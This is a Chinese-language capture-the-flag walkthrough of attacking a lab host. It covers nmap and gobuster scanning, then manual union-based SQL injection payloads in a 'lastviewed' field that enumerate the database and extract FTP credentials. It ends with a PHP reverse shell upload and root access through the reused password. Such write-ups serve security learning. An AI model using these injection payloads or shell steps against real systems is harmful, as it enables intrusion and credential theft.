端口主机扫描：
╰─ nmap -p1-65535 -sV -A -O -sT 10.10.202.136
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
FTP点弱口令爆破下，看下有无收获
从web入手进行尝试
访问默认页面，进行目录爆破
---- Scanning URL: http://10.10.202.136/ ----
+ http://10.10.202.136/index.html (CODE:200|SIZE:11321)
+ http://10.10.202.136/server-status (CODE:403|SIZE:301)
接下来加大字典进行爆破目录吧
╰─ gobuster -u http://10.10.202.136 -w /opt/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt

使用burp进行抓包测试
urldecode {"lastviewed"=="Netherlands"}
直接抓包，进行post注入
╰─ sqlmap -r target.txt --batch --risk=3 --level=5
一直报错，跑不出来，那么就手工注入：
payload: lastviewed="{"lastviewed"=="'Netherlands'"}"
payload：lastviewed="{"lastviewed"=="'Netherlands''"}" #false
进行闭合
payload：
lastviewed="{"lastviewed"=="'Netherlands' and '1'='1'--+"}"
使用union猜解数据库版本信息：
payload：lastviewed="{"lastviewed"=="'Netherlands' union select (CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))+--+"}"
payload：lastviewed="{"lastviewed"=="'Netherlands' union select database()"}"
version: mysql 5.7.27
database: library
user: username@localhost
枚举表名：
countries
lastviewed="{"lastviewed"=="'Netherlands' union select table_name from information_schema.tables where table_schema='library'"}"
枚举还是否有其他的表存在
lastviewed="{"lastviewed"=="'Netherlands' union select table_name from information_schema.tables where table_schema='library' and table_name not in ('countries')"}"
We couldn't find any information for access
枚举access表的列名
lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access'"}"
We couldn't find any information for password
lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password')"}"
We couldn't find any information for username
lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password','username')"}"
We couldn't find any information for service
lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password','username','service')"}"
We couldn't find any information for id
lastviewed="{"lastviewed"=="'Netherlands' union select column_name from information_schema.columns where table_name='access' and column_name not in ('password','username','service','id')"}"
We couldn't find any information for Netherlands
枚举完成，字段名为：
id,service,username,password,Netherlands
lastviewed="{"lastviewed"=="'Netherlands' union select username from access"}"
We couldn't find any information for globus
lastviewed="{"lastviewed"=="'Netherlands' union select password from access"}"
We couldn't find any information for AroundTheWorld
lastviewed="{"lastviewed"=="'Netherlands' union select service from access"}"
We couldn't find any information for ftp
FTP账户密码：
username globus
password AroundTheWorld
上传php-reverse shell
进行提权操作：
经过多次枚举，发现此密码为root密码
完结！
